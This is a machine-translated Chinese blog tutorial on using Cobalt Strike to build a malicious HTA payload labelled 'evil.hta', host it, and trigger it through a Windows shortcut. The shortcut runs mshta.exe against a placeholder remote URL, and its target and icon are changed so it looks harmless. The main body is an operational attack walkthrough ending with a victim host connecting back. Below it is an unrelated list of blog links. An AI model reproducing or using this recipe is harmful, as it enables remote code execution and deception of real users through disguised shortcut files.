当前位置:网站首页>Use shortcut LNK online CS
Use shortcut LNK online CS
2022-07-06 06:31:00 【zxl2605】
step :
1、 Generate :Attacks -> Packages -> Html Application
2、 Upload :Attacks——>Web Drive by——>Host file
3、 perform :C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext
4、 camouflage :
- create shortcut
- Generate HTA And upload
- Property change target execution
- Property change icon
I'll use windows Medium mshta, Used to perform hta file
mshta.exe yes Microsoft Windows operating system Relevant procedures , English full name Microsoft HTML Application, Microsoft Hypertext markup language application , Used to perform .HTA file
Let's demonstrate
Open the configured CS
1、 Generate :Attacks -> Packages -> Html Application
Select the listener to set -power shell
![]()

Generate evil.hta

2、 Upload :Attacks——>Web Drive by——>Host file

Copy the generated file URL

3. create shortcut
4. perform :C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext

5. camouflage ( Self expanding , No demonstration )
- create shortcut
- Generate HTA And upload
- Property change target execution
- Property change icon ( Expands itself )
Click shortcut - Shortcut successfully launched

边栏推荐
- Avtiviti创建表时报错:Error getting a new connection. Cause: org.apache.commons.dbcp.SQLNestedException
- Difference between backtracking and recursion
- Summary of anomaly detection methods
- Simulation volume leetcode [general] 1314 Matrix area and
- D - How Many Answers Are Wrong
- How much is it to translate Chinese into English for one minute?
- Win10 cannot operate (delete, cut) files
- Financial German translation, a professional translation company in Beijing
- 生物医学本地化翻译服务
- How to extract login cookies when JMeter performs interface testing
猜你喜欢

翻译生物医学说明书,英译中怎样效果佳

Lecture 8: 1602 LCD (Guo Tianxiang)

LeetCode 1200. Minimum absolute difference

在JEECG-boot代码生成的基础上修改list页面(结合自定义的组件)

F - true liars (category and search set +dp)

oscp raven2靶机渗透过程

金融德语翻译,北京专业的翻译公司

On weak network test of special test

端午节快乐Wish Dragon Boat Festival is happy

org. activiti. bpmn. exceptions. XMLException: cvc-complex-type. 2.4. a: Invalid content beginning with element 'outgoing' was found
随机推荐
D - How Many Answers Are Wrong
[mqtt from getting started to improving series | 01] quickly build an mqtt test environment from 0 to 1
Black cat takes you to learn UFS protocol Chapter 4: detailed explanation of UFS protocol stack
Customize the gateway filter factory on the specified route
Data type of MySQL
利用快捷方式-LNK-上线CS
Simulation volume leetcode [general] 1219 Golden Miner
模拟卷Leetcode【普通】1143. 最长公共子序列
[no app push general test plan
mysql按照首字母排序
sourceInsight中文乱码
LeetCode 739. Daily temperature
Play video with Tencent video plug-in in uni app
LeetCode 729. My schedule I
Remember the implementation of a relatively complex addition, deletion and modification function based on jeecg-boot
Financial German translation, a professional translation company in Beijing
Oscp raven2 target penetration process
Making interactive page of "left tree and right table" based on jeecg-boot
LeetCode 1200. Minimum absolute difference
Online and offline problems